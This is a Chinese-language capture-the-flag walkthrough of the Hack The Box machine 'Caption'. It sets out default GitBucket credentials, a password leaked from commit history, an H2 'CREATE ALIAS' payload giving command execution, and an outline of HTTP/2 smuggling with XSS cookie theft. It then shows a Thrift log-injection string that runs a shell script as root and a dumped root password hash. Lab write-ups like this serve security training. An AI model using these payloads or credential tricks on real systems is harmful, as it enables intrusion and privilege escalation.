基本信息
- https://app.hackthebox.com/machines/Caption
- 10.10.11.33

端口扫描
22,80,8080:
1 | nmap -sC -sV -Pn 10.10.11.33 |
80
需要加hosts:
1 | 10.10.11.33 caption.htb |
需要登录:

8080
是一个GitBucket:

GitBucket
默认账号密码登录:
- gitbucket/README.md at master · gitbucket/gitbucket
https://github.com/gitbucket/gitbucket/blob/master/README.md#installation
1 | root : root |

Logservice
看起来可能有命令注入:

Caption-Portal
查看commoits,历史版本配置文件中可以得到一组账号密码:
1 | margo : vFr&cS2#0! |

Caption-Portal
得到的账号密码可以登录80的Portal:

logs
访问是403:

GitBucket dbviewer(非预期)
GitBucket 自带的dbviewer功能可以执行sql,后端是H2数据库:

- Abusing H2 Database ALIAS - Gambler - Hacking and other stuffs
https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html
参考执行命令,得到margo私钥:
1 | CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$; |

预期 user
预期方式是请求走私
- 使用 H2CSmuggler 通过 HTTP2 升级绕过 HAproxy ACL
- 毒化缓存并在 UTM_Source 跟踪器中放置 XSS 有效载荷
- 获得管理员 Cookie,使用它通过 h2csmuggler 访问日志页面
- 查看日志,发现有一个 margo 使用的 ecdsa 密钥
- 谷歌搜索我们下载日志的 URL,发现其copyparty存在文件泄露漏洞
- 然后读取私钥
参考:
- HackTheBox - Caption - YouTube
https://www.youtube.com/watch?v=JY_xds4LsW0 - HTB: Caption | 0xdf hacks stuff
https://0xdf.gitlab.io/2025/01/25/htb-caption.html#
user flag
使用得到的私钥登录:

信息
运行pspy64可以发现和log相关的东西,前面在gitbucket里也可以看到可能的命令注入:

thrift
另外LogService代码中也可以看到Thrift 文件:
- Apache Thrift - Python
https://thrift.apache.org/tutorial/py.html

参考文档,克隆项目后运行生成代码:
1 | git clone http://caption.htb:8080/git/root/Logservice.git |

查看生成的代码可以确认是能够控制filePath调用log,端口是 9090也可以查看本地端口确认:

命令注入 & root flag
然后就可以自己根据代码逻辑创建恶意日志文件,然后自定义客户端连接服务,提交恶意日志,触发命令注入:
需要转发端口本地运行客户端,server上没python thrift库:
1 | tar czvf gen-py.tar gen-py |


client.py
1 | from thrift import Thrift |
miao.log
1 | 127.0.0.1 "user-agent":"'; /bin/bash /tmp/miao/shell.sh #" |
shadow
1 | root:$y$j9T$Z0mAEpyXxUFgbF4zyQYIm0$tfEWxKHM9Yv0fztCJ6GT/RYj87nvBZIl3t8ssYc3GnB:19956:0:99999:7::: |
参考资料
- gitbucket/README.md at master · gitbucket/gitbucket
https://github.com/gitbucket/gitbucket/blob/master/README.md#installation - Abusing H2 Database ALIAS - Gambler - Hacking and other stuffs
https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html - Apache Thrift - Python
https://thrift.apache.org/tutorial/py.html - HackTheBox - Caption - YouTube
https://www.youtube.com/watch?v=JY_xds4LsW0 - HTB: Caption | 0xdf hacks stuff
https://0xdf.gitlab.io/2025/01/25/htb-caption.html#